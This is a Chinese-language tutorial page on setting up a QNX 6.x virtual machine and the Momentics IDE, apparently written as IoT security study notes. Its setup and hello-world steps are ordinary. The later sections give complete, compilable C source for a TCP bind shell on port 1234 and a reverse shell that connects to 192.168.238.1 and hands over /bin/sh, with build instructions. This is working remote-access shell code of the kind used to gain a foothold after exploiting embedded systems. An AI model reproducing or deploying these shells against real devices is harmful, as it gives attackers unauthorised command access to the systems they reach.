跳转至

QNX

QNX

环境来源

虚拟机 6.5.0:https://www.jianshu.com/p/2a3d7e80a725

官方 6.4.1 版虚拟机:http://www.qnx.com/download/group.html?programid=20840

IDE:https://download.freedownloadmanager.org/Windows-PC/Momentics-IDE-for-BlackBerry/FREE-2.0.html

环境安装

虚拟机直接打开运行就行了,IDE 直接安装就行了,注意安装好 IDE 之后打开选择 workspace 的时候不能包含空格,然后打开会提示没法下载 SDK,不用慌,关了就行,去界面的 help -> Update API Levels 下载就行

1649293209901-299abd9d-8a73-4749-b3ef-0edfe631ccbb.png

QNX的命令

https://bbs.pediy.com/thread-270996.htm

按着这个手册自己试试就行了,跟 linux 的命令还是有很多重合的

很奇怪,我的镜像里面没有 gdb 啥的,各种命令好像还得看镜像

helloworld

新建一个 QNX C Project

1649294485898-d76e4203-5411-49c8-aed4-790932cb2a90.png

选择架构为 x86

1649294484204-e16d5d24-ab3c-4f91-ac22-3f9b64e76ea5.png

创建好之后看一下 QNX 的 IP,然后运行 qconn

1649294272004-37e1760c-b0d2-4a90-a186-c299ca3f2f75.png

然后给 IDE 加上设备,选择 Window -> Target Navigator

1649295782071-1aabf764-f539-46f4-b977-c113f0a5f3c4.png

在打开的窗口右键找到这个小摁钮,选择 New QNX Target

1649296318284-82fa2975-8860-4699-aded-013b13778d45.png

1649296287571-71eefcba-42f4-4b55-bacc-70fdcbc954a1.png

先点锤子再点运行

1649296423229-3f1e762b-08f7-400d-b8b5-7eb4bb3860ea.png

在这里甚至可以直接拖拽上传文件

1649306167791-57943f35-2e2f-4bde-9a41-16c8d4dcb2b8.png

TCP bind shell

看看咋写程序,结果发现跟 linux 没啥区别,直接用的下面的代码

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
int main(void)
{
 int clientfd, sockfd;
 int port = 1234;  //设置绑定的端口
 struct sockaddr_in mysockaddr;
 sockfd = socket(AF_INET, SOCK_STREAM, 0);
 mysockaddr.sin_family = AF_INET;
 mysockaddr.sin_port = htons(port);
 mysockaddr.sin_addr.s_addr = INADDR_ANY;
 bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
 listen(sockfd, 1);
 clientfd = accept(sockfd, NULL, NULL);
 dup2(clientfd, 0);
 dup2(clientfd, 1);
 dup2(clientfd, 2);
 char * const argv[] = {"sh",NULL, NULL};
 execve("/bin/sh", argv, NULL);
 return 0;
}

需要在项目右键选择 Properties

1649313465392-b61ed102-9d30-4269-bc8a-94ea47dad44c.png

然后找到 QNX C/C++ Project 里面的 Linker,在 Category 里面选择 Extra libraries,再选择 Nx targetzhege 这个1649313567110-b8e51a90-9edf-4706-b5cb-1227783c00ef.png

在 x86 的 lib 里面找到 libsocket.so 打开,然后编译运行就完事了

1649313290290-bbf5b3d7-29c3-4e2e-b699-607c94e5933b.png

Reverse TCP shell

同理,代码如下:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void)
{
 int sockfd;
 int port = 1234;
 struct sockaddr_in mysockaddr;
 sockfd = socket(AF_INET, SOCK_STREAM, 0);
 mysockaddr.sin_family = AF_INET;
 mysockaddr.sin_port = htons(port);
 mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");
 connect(sockfd, (struct sockaddr *) &mysockaddr,sizeof(mysockaddr));
 dup2(sockfd, 0);
 dup2(sockfd, 1);
 dup2(sockfd, 2);
 char * const argv[] = {"/bin/sh", NULL};
 execve("/bin/sh", argv, NULL);
 return 0;
}

1649313734807-311d3c32-ab85-4a57-9518-021a5dcf6682.png

原文: https://www.yuque.com/hxfqg9/iot/nkd6cf